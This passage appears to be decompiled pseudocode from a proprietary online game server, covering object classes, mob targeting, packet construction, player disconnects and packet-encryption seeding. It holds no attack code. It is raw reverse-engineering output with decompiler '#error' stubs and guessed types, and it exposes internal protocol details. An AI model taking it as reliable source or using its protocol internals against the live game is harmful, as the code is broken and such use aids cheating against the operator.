* handle | 0xF; } //----- (004F3DE0) -------------------------------------------------------- char *__thiscall ShineObjectClass::ShineDoor::so_mobile_GetIdxName(ShineObjectClass::ShineDoor *this) { return this->sd_MobDataBox->data->InxName; } //----- (004F3DF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDoor::so_FillBriefInformation(ShineObjectClass::ShineDoor *this, void *array) { PROTO_NC_BRIEFINFO_BUILDDOOR_CMD::operator_((int)array, (int)this->sd_DoorBriefInfo.bid_BriefInfo); } //----- (004F3E10) -------------------------------------------------------- int __thiscall PROTO_NC_BRIEFINFO_BUILDDOOR_CMD::operator_(int this, int a2) { int result; // eax@1 result = this; *(_WORD *)this = *(_WORD *)a2; *(_WORD *)(this + 2) = *(_WORD *)(a2 + 2); *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_BYTE *)(this + 12) = *(_BYTE *)(a2 + 12); *(_BYTE *)(this + 13) = *(_BYTE *)(a2 + 13); *(_DWORD *)(this + 14) = *(_DWORD *)(a2 + 14); *(_DWORD *)(this + 18) = *(_DWORD *)(a2 + 18); *(_DWORD *)(this + 22) = *(_DWORD *)(a2 + 22); *(_DWORD *)(this + 26) = *(_DWORD *)(a2 + 26); *(_DWORD *)(this + 30) = *(_DWORD *)(a2 + 30); *(_DWORD *)(this + 34) = *(_DWORD *)(a2 + 34); *(_DWORD *)(this + 38) = *(_DWORD *)(a2 + 38); *(_DWORD *)(this + 42) = *(_DWORD *)(a2 + 42); *(_WORD *)(this + 46) = *(_WORD *)(a2 + 46); return result; } //----- (004F3E80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDoor::_ShineDoor(ShineObjectClass::ShineDoor *this) { *(_DWORD *)&this->gap0[0] = &ShineObjectClass::ShineDoor::_vftable_; ShineObjectClass::ShineMobileObject::_ShineMobileObject((int)this); } // 5C35D0: using guessed type int (*ShineObjectClass__ShineDoor___vftable_)(); //----- (004F3E90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMagicField::ShineMagicField(ShineObjectClass::ShineMagicField *this) { ShineObjectClass::ShineMagicField *v1; // esi@1 v1 = this; ShineObjectClass::ShineObject::ShineObject((int)this); *(_DWORD *)&v1->gap0[0] = &ShineObjectClass::ShineMagicField::_vftable_; BriefInformationMagicField::BriefInformationMagicField(&v1->smfm_MagicFieldBriefInfo); Metronome::Metronome(&v1->smfm_Tick); *(_DWORD *)&v1->gap0[78] = (char *)v1->smfm_MagicFieldBriefInfo.bimfm_BriefInfo + 6; *(_DWORD *)&v1->gap0[82] = &unk_1246F1F0; } // 5C1980: using guessed type int (*ShineObjectClass__ShineMagicField___vftable_)(); //----- (004F3F60) -------------------------------------------------------- ShineRTTI *__thiscall ShineObjectClass::ShineMiniHouse::GetRTTI(ShineObjectClass::ShineMiniHouse *this) { return &ShineObjectClass::ShineMiniHouse::m_RTTI; } //----- (004F3F70) -------------------------------------------------------- #error "4F3F70: undefined or illegal type '#331' (funcsize=16)" //----- (004F3FA0) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_RemakeHandle(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 handle) { ShineObjectClass::ShineMiniHouse *sohu; // [sp+0h] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); LOWORD(sohu) = 8 * handle | 6; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return 8 * handle | 6; } //----- (004F3FE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMiniHouse::so_FillBriefInformation(ShineObjectClass::ShineMiniHouse *this, void *array) { PROTO_NC_BRIEFINFO_MINIHOUSEBUILD_CMD::operator_((int)array, (int)this->smh_BriefInfo.bimh_BriefInfo); } //----- (004F4000) -------------------------------------------------------- int __thiscall PROTO_NC_BRIEFINFO_MINIHOUSEBUILD_CMD::operator_(int this, int a2) { int result; // eax@1 int v3; // edx@1 signed int v4; // edi@1 result = this; *(_WORD *)this = *(_WORD *)a2; *(_DWORD *)(this + 2) = *(_DWORD *)(a2 + 2); *(_DWORD *)(this + 6) = *(_DWORD *)(a2 + 6); *(_DWORD *)(this + 10) = *(_DWORD *)(a2 + 10); *(_DWORD *)(this + 14) = *(_DWORD *)(a2 + 14); *(_DWORD *)(this + 18) = *(_DWORD *)(a2 + 18); *(_DWORD *)(this + 22) = *(_DWORD *)(a2 + 22); *(_DWORD *)(this + 26) = *(_DWORD *)(a2 + 26); *(_DWORD *)(this + 30) = *(_DWORD *)(a2 + 30); *(_DWORD *)(this + 34) = *(_DWORD *)(a2 + 34); *(_BYTE *)(this + 38) = *(_BYTE *)(a2 + 38); v3 = this + 39; v4 = 21; do { *(_BYTE *)v3 = *(_BYTE *)(a2 - this + v3); ++v3; --v4; } while ( v4 ); return result; } //----- (004F4070) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionArgument::Selector::Selector(MobTacticElement::MobActionArgument::Selector *this) { MobTacticElement::MobActionArgument::Selector *v1; // esi@1 v1 = this; MobAggroManager::MobAggroManager(&this->targetlist); MobTargetBout::MobTargetBout(&v1->bout); MobTargetAggresive::MobTargetAggresive(&v1->aggresive); MobTargetNoBrain::MobTargetNoBrain(&v1->nobrain); MobTargetAggresive2::MobTargetAggresive2(&v1->aggresive2); MobTargetAggresive::MobTargetAggresive(&v1->aggresiveall.baseclass_0); v1->aggresiveall.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetAggresiveALL::_vftable_; MobTargetAggresive::MobTargetAggresive(&v1->aggresiveNoLevel.baseclass_0); v1->aggresiveNoLevel.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetAggresiveNoLevel::_vftable_; } // 5BF948: using guessed type int (__thiscall *MobTargetAggresiveALL___vftable_)(MobTargetAggresive *this, #331 *, #331 *, int distancesquar); // 5C23DC: using guessed type int (__thiscall *MobTargetAggresiveNoLevel___vftable_)(MobTargetAggresive *this, #331 *, #331 *, int distancesquar); //----- (004F4120) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionArgument::Selector::_Selector(MobTacticElement::MobActionArgument::Selector *this) { MobTacticElement::MobActionArgument::Selector *v1; // esi@1 v1 = this; MobTargetAggresive::_MobTargetAggresive(&this->aggresiveNoLevel.baseclass_0); v1->aggresiveall.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetAggresiveALL::_vftable_; MobTargetAggresive::_MobTargetAggresive(&v1->aggresiveall.baseclass_0); MobTargetAggresive2::_MobTargetAggresive2(&v1->aggresive2); MobTargetBout::_MobTargetBout(&v1->nobrain); MobTargetAggresive::_MobTargetAggresive(&v1->aggresive); MobTargetBout::_MobTargetBout((MobTargetNoBrain *)&v1->bout); MobAggroManager::_MobAggroManager(&v1->targetlist); } // 5BF948: using guessed type int (__thiscall *MobTargetAggresiveALL___vftable_)(MobTargetAggresive *this, #331 *, #331 *, int distancesquar); //----- (004F41D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_SendProtocol(void *this, __int16 depart, __int16 command) { void *v3; // esi@1 int v4; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SendProtocol"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SendProtocol"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)gpp.pp_Buffer = (depart << 10) ^ command & 0x3FF; ProtocolPacket::pp_SetPacketLen(&gpp, 2); v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v3, &gpp); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SendProtocol"); } //----- (004F42A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_SendErrorCode(void *this, __int16 depart, __int16 command, __int16 err) { void *v4; // esi@1 int v5; // eax@3 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SendErrorCode"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SendErrorCode"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S82 & 1) ) { _S82 |= 1u; errorpacket.pp_Buffer = 0; errorpacket.pp_PacketLength = 0; atexit(_E83_0); } errorpacket.pp_Buffer = errorbuffer; errorpacket.pp_BufferSize = 64; *(_WORD *)errorbuffer = (command ^ ((depart << 10) | *(_WORD *)errorbuffer & 0x3FF)) & 0x3FF ^ ((depart << 10) | *(_WORD *)errorbuffer & 0x3FF); *(_WORD *)&errorbuffer[2] = err; ProtocolPacket::pp_SetPacketLen(&errorpacket, 4); v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v4, &errorpacket); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SendErrorCode"); } //----- (004F43E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_allparametercalculate(void *obj) { void *v1; // esi@1 unsigned __int8 v2; // al@1 CharClass *v3; // eax@2 v1 = obj; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_allparametercalculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_allparametercalculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (*((_BYTE *)v1 + 32155) >> 2) & 0x1F; if ( v2 >= 0x20u ) v3 = (CharClass *)&charclassmanager; else v3 = charclassmanager.ccm_array[v2]; *((_DWORD *)v1 + 1001) = v3; Parameter::Container::c_Storepure((Parameter::Container *)((char *)v1 + 4008), v3, (#331 *)v1); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 860))(v1); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 864))(v1); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 868))(v1); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 872))(v1); Parameter::Container::c_MakeTotal((Parameter::Container *)((char *)v1 + 4008)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_allparametercalculate"); } //----- (004F44E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_BroadcastLogout(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_BroadcastLogout"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_BroadcastLogout"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_DWORD *)((char *)v1 + 98) ) ShineObjectClass::ShineObject::so_Logout(v1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_BroadcastLogout"); } //----- (004F4580) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_Disconnect(void *this, int reason, int when, int signal2WMS) { void *v4; // esi@1 char *v5; // edi@4 ZoneBaseSession *v6; // eax@6 unsigned int v7; // eax@7 char *v8; // eax@7 char *v9; // ST04_4@7 DebugLogging *v10; // eax@7 DebugLogging *v11; // eax@7 DebugLogging *v12; // edi@7 _iobuf *v13; // eax@9 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_Disconnect"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_Disconnect"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( reason != 1665 ) AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_Disconnect", reason); if ( !signal2WMS ) { v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 3098; *((_WORD *)v5 + 1) = -1; *((_DWORD *)v5 + 1) = -1; *((_WORD *)v5 + 7) = reason; *((_DWORD *)v5 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 840))(v4); *((_WORD *)v5 + 6) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 832))(v4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 16) ) { v6 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v6); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_Disconnect : Packet Too Long", 16); } } v7 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v7; v8 = (char *)&namestring + 256 * v7; *(_DWORD *)v8 = *(_DWORD *)((char *)v4 + 32062); *((_DWORD *)v8 + 1) = *(_DWORD *)((char *)v4 + 32066); *((_DWORD *)v8 + 2) = *(_DWORD *)((char *)v4 + 32070); v9 = v8; *((_DWORD *)v8 + 3) = *(_DWORD *)((char *)v4 + 32074); v8[16] = 0; v10 = DebugLogging::operator<<(&MoreDisconnectLog, "Char so_Disconnect "); v11 = DebugLogging::operator<<(v10, v9); v12 = DebugLogging::operator<<(v11, (char *)&stru_598DE4); if ( DebugLogging::dl_ActivAll ) { if ( v12->dl_Activ ) { DebugLogging::dl_FilePoint(v12); v13 = v12->dl_FilePointer; if ( v13 ) fprintf(v13, "%d"); } } DebugLogging::operator<<(v12, &deb_LF); (*(void (__thiscall **)(void *, int))(*(_DWORD *)v4 + 1468))(v4, when); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_Disconnect"); } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (004F4760) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_EncSeedSet(void *this) { void *v1; // esi@1 int v2; // ecx@1 int v3; // edx@3 int v4; // esi@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_EncSeedSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_EncSeedSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = seed++ + 1; if ( seed >= PacketEncrypt::pe_encryptlen ) { v2 = 0; seed = 0; } v3 = (unsigned __int16)v2 % PacketEncrypt::pe_encryptlen; *((_WORD *)v1 + 15940) = v3; *((_WORD *)v1 + 15941) = v3; v4 = v2; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_EncSeedSet"); return v4; } // 5DB5B4: using guessed type int PacketEncrypt__pe_encryptlen; //----- (004F47F0) -------------------------------------------------------- void __thiscall ShineObjectEachList::_ShineObjectEachList(ShineObjectEachList *this) { void *v1; // ecx@1 this->baseclass_0.vfptr = (ListVtbl *)ShineObjectEachList::_vftable_; v1 = this->baseclass_0.l_Array; if ( v1 ) operator delete__(v1); } // 5C5D30: using guessed type int (__stdcall *ShineObjectEachList___vftable_[3])(__int16 hnd); //----- (004F4810) -------------------------------------------------------- char __thiscall ShineObjectEachList::soel_Routine(ShineObjectEachList *this, List *lst, unsigned __int16 handle) { ShineObjectEachList *v3; // esi@1 char v4; // bl@4 int v5; // ST0C_4@8 DebugLogging *v6; // eax@8 DebugLogging *v7; // eax@8 DebugLogging *v8; // eax@8 DebugLogging *v9; // eax@8 DebugLogging *v10; // eax@8 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectEachList::soel_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectEachList::soel_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( ShineObjectClass::ShinePlayer::sp_Turtle ) { Sleep(ShineObjectClass::ShinePlayer::sp_Turtle); if ( ShineObjectClass::ShinePlayer::sp_Turtle < 0x2710u ) ++ShineObjectClass::ShinePlayer::sp_Turtle; } v4 = List::l_4AllInList( &v3->baseclass_0, (char (__thiscall *)(#331 *, List *, unsigned __int16))_vcall_); if ( !v4 ) ++v3->nListNoCount; if ( v3->nNextRecordTime < clockwatch.cw_CurrTick ) { if ( v3->nListNoCount > 0 ) { v5 = v3->nListNoCount; v6 = DebugLogging::operator<<(&ShineObjectHandleLog, "ShineObjectEachList::soel_Routine - ObjectType["); v7 = DebugLogging::operator<<(v6, handle); v8 = DebugLogging::operator<<(v7, "] LISTNO Count["); v9 = DebugLogging::operator<<(v8, v5); v10 = DebugLogging::operator<<(v9, (char *)&stru_59CBB8); DebugLogging::operator<<(v10, &deb_LF); v3->nListNoCount = 0; } v3->nNextRecordTime = clockwatch.cw_CurrTick + 600; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectEachList::soel_Routine"); return v4; } // 641EB8: using guessed type unsigned __int16 ShineObjectClass__ShinePlayer__sp_Turtle; //----- (004F4960) -------------------------------------------------------- #error "4F4960: undefined or illegal type '#440' (funcsize=257)" //----- (004F4C40) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineDoor::_vector_deleting_destructor_(ShineObjectClass::ShineDoor *this, unsigned int a2) { void *v2; // esi@1 void *result; // eax@4 v2 = this; if ( a2 & 2 ) { _eh_vector_destructor_iterator_( this, 0x1D74u, *((_DWORD *)this - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineDoor::_ShineDoor); if ( a2 & 1 ) operator delete__((char *)v2 - 4); result = (char *)v2 - 4; } else { ShineObjectClass::ShineDoor::_ShineDoor(this); if ( a2 & 1 ) operator delete(v2); result = v2; } return result; } //----- (004F4CA0) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineMiniHouse::_vector_deleting_destructor_(ShineObjectClass::ShineMiniHouse *this, unsigned int a2) { void *v2; // esi@1 void *result; // eax@4 v2 = this; if ( a2 & 2 ) { _eh_vector_destructor_iterator_( this, 0xCFF8u, *((_DWORD *)this - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineMiniHouse::_ShineMiniHouse); if ( a2 & 1 ) operator delete__((char *)v2 - 4); result = (char *)v2 - 4; } else { ShineObjectClass::ShineMiniHouse::_ShineMiniHouse(this); if ( a2 & 1 ) operator delete(v2); result = v2; } return result; } //----- (004F4D00) -------------------------------------------------------- #error "4F4D00: undefined or illegal type '#331' (funcsize=55)" //----- (004F4DF0) -------------------------------------------------------- #error "4F4DF0: undefined or illegal type '#331' (funcsize=64)" //----- (004F4EF0) -------------------------------------------------------- #331 *__thiscall ShineObjectManager::som_AllocObject(ShineObjectManager *this, unsigned __int16 *hnd, unsigned __int16 type) { ShineObjectManager *v3; // esi@1 AbnormalStateContainer::AbstateElementInObject *v4; // eax@2 void (__thiscall *v5)(ShineObjectHandleUnion *, unsigned __int16); // edi@2 #331 *v6; // esi@13 #331 *result; // eax@13 ShineObjectHandleUnion hndunion; // [sp+8h] [bp-14h]@13 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v10; // [sp+18h] [bp-4h]@1 v3 = this; _.fe_FunctionCode = "ShineObjectManager::som_AllocObject"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectManager::som_AllocObject"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectManager::som_AllocObject"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; switch ( type ) { case 0u: v4 = List::l_AllocationZ( (List *)&v3->som_AxialFlag, &type); v5 = ShineObjectHandleUnion::sohu_SetAxialHandle; goto LABEL_13; case 1u: v4 = List::l_AllocationZ( (List *)&v3->som_DropItem, &type); v5 = ShineObjectHandleUnion::sohu_SetDropItemHandle; goto LABEL_13; case 2u: v4 = List::l_AllocationZ( (List *)&v3->som_Player, &type); v5 = ShineObjectHandleUnion::sohu_SetPlayerHandle; goto LABEL_13; case 4u: v4 = List::l_AllocationZ( (List *)&v3->som_NPC, &type); v5 = ShineObjectHandleUnion::sohu_SetNPCHandle; goto LABEL_13; case 7u: v4 = List::l_AllocationZ( (List *)&v3->som_Door, &type); v5 = ShineObjectHandleUnion::sohu_SetDoorHandle; goto LABEL_13; case 5u: v4 = List::l_AllocationZ( (List *)&v3->som_Mob, &type); v5 = ShineObjectHandleUnion::sohu_SetMobHandle; goto LABEL_13; case 8u: v4 = List::l_AllocationZ( (List *)&v3->som_Bandit, &type); v5 = ShineObjectHandleUnion::sohu_SetBanditHandle; goto LABEL_13; case 9u: v4 = List::l_AllocationZ( (List *)&v3->som_Effect, &type); v5 = ShineObjectHandleUnion::sohu_SetEffectHandle; goto LABEL_13; case 6u: v4 = List::l_AllocationZ( (List *)&v3->som_MagicField, &type); v5 = ShineObjectHandleUnion::sohu_SetMagicFieldHandle; goto LABEL_13; case 3u: v4 = List::l_AllocationZ( (List *)&v3->som_MiniHouse, &type); v5 = ShineObjectHandleUnion::sohu_SetMiniHouseHandle; goto LABEL_13; case 0xAu: v4 = List::l_AllocationZ( (List *)&v3->som_Servant, &type); v5 = ShineObjectHandleUnion::sohu_SetServantHandle; LABEL_13: v6 = (#331 *)v4; MoveManager::MoveManager((DiceTaiSai *)&hndunion); LOBYTE(v10) = 1; v5(&hndunion, type); *hnd = hndunion.sohu_Handle; LOBYTE(v10) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&hndunion); --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectManager::som_AllocObject"); result = v6; break; default: AssertClass::ac_AssertFail(&shineassert, "ShineObjectList::pl_allocobject", type); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectManager::som_AllocObject"); result = 0; break; } return result; } //----- (004F5140) -------------------------------------------------------- #error "4F5140: undefined or illegal type '#331' (funcsize=48)" //----- (004F5210) -------------------------------------------------------- #error "4F5210: undefined or illegal type '#331' (funcsize=65)" //----- (004F5310) -------------------------------------------------------- #331 *__thiscall ShineObjectManager::som_FindPlayer(ShineObjectManager *this, unsigned int chrregnum) { ShineObjectManager *v2; // esi@1 #331 *v3; // esi@1 int (__stdcall **scrf)(int, __int16); // [sp+8h] [bp-18h]@1 unsigned int v6; // [sp+Ch] [bp-14h]@1 #331 *v7; // [sp+10h] [bp-10h]@1 int v8; // [sp+1Ch] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectManager::som_FindPlayer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectManager::som_FindPlayer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; scrf = &ShineCharRegnumFinder::_vftable_; v6 = chrregnum; v7 = 0; LOBYTE(v8) = 1; List::l_4AllInList((List *)&v2->som_Player, (ListIteratorDefault *)&scrf); v3 = v7; --funcallanalizer.fca_stackpoint; scrf = &ListIteratorDefault::_vftable_; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectManager::som_FindPlayer"); return v3; } // 5C4DBC: using guessed type int (__stdcall *ShineCharRegnumFinder___vftable_)(int, __int16 handle); // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (004F53E0) -------------------------------------------------------- #331 *__thiscall ShineObjectManager::som_FindPlayer(ShineObjectManager *this, Name4 *chrid) { ShineObjectManager *v2; // esi@1 #331 *v3; // esi@1 int (__stdcall **scif)(int, __int16); // [sp+8h] [bp-18h]@1 Name4 *v6; // [sp+Ch] [bp-14h]@1 #331 *v7; // [sp+10h] [bp-10h]@1 int v8; // [sp+1Ch] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectManager::som_FindPlayer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectManager::som_FindPlayer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; scif = &ShineCharIDFinder::_vftable_; v6 = chrid; v7 = 0; LOBYTE(v8) = 1; List::l_4AllInList((List *)&v2->som_Player, (ListIteratorDefault *)&scif); v3 = v7; --funcallanalizer.fca_stackpoint; scif = &ListIteratorDefault::_vftable_; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectManager::som_FindPlayer"); return v3; } // 5C4DE0: using guessed type int (__stdcall *ShineCharIDFinder___vftable_)(int, __int16 handle); // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (004F54B0) -------------------------------------------------------- #331 *__thiscall ShineObjectManager::som_FindNPC(ShineObjectManager *this, Name4 *chrid) { ShineObjectManager *v2; // esi@1 #331 *v3; // esi@1 int (__stdcall **scrf)(int, __int16); // [sp+8h] [bp-18h]@1 Name4 *v6; // [sp+Ch] [bp-14h]@1 #331 *v7; // [sp+10h] [bp-10h]@1 int v8; // [sp+1Ch] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectManager::som_FindNPC"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectManager::som_FindNPC"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; scrf = &ShineCharIDFinder::_vftable_; v6 = chrid; v7 = 0; LOBYTE(v8) = 1; List::l_4AllInList((List *)&v2->som_NPC, (ListIteratorDefault *)&scrf); v3 = v7; --funcallanalizer.fca_stackpoint; scrf = &ListIteratorDefault::_vftable_; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectManager::som_FindNPC"); return v3; } // 5C4DE0: using guessed type int (__stdcall *ShineCharIDFinder___vftable_)(int, __int16 handle); // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (004F5580) -------------------------------------------------------- void __thiscall SlantedCoordList::CoordedNode::cn_Reset(SlantedCoordList::CoordedNode *this) { SlantedCoordList::CoordedNode *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "SlantedCoordList::CoordedNode::cn_Reset"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlantedCoordList::CoordedNode::cn_Reset"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1->cn_next = v1; v1->cn_prev = v1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "SlantedCoordList::CoordedNode::cn_Reset"); } //----- (004F55E0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineDoor::so_door_DoorAction(ShineObjectClass::ShineDoor *this, char *blockfile, MapBlock::DoorAction da) { ShineObjectClass::ShineDoor *v3; // esi@1 int v4; // ST00_4@1 char *v5; // eax@1 AxialListPacketBroadcast alchat; // [sp+Ch] [bp-18h]@1 int v8; // [sp+20h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineDoor::so_door_DoorAction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineDoor::so_door_DoorAction"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3->sd_DoorBriefInfo.bid_BriefInfo->doorstate = da; v4 = (int)&v3->sd_DoorBriefInfo.bid_BriefInfo->blockindex; v8 = 0; *(_DWORD *)(v4 + 28) = 0; *(_DWORD *)(v4 + 24) = 0; *(_DWORD *)(v4 + 20) = 0; *(_DWORD *)(v4 + 16) = 0; *(_DWORD *)(v4 + 12) = 0; *(_DWORD *)(v4 + 8) = 0; *(_DWORD *)(v4 + 4) = 0; *(_DWORD *)v4 = 0; strncpy((char *)v4, blockfile, 0x20u); MapBlock::MapBlockInformation::mbi_DoorAction( *(MapBlock::MapBlockInformation **)(*(_DWORD *)&v3->gap0[98] + 20), &v3->sd_DoorBriefInfo.bid_BriefInfo->blockindex, da); v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 27657; *((_WORD *)v5 + 1) = *(_WORD *)&v3->gap0[4]; v5[4] = da; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 5); LOBYTE(v8) = 1; ShineObjectClass::ShineObject::so_AllInMap(v3, (int)&alchat, 0); LOBYTE(v8) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); 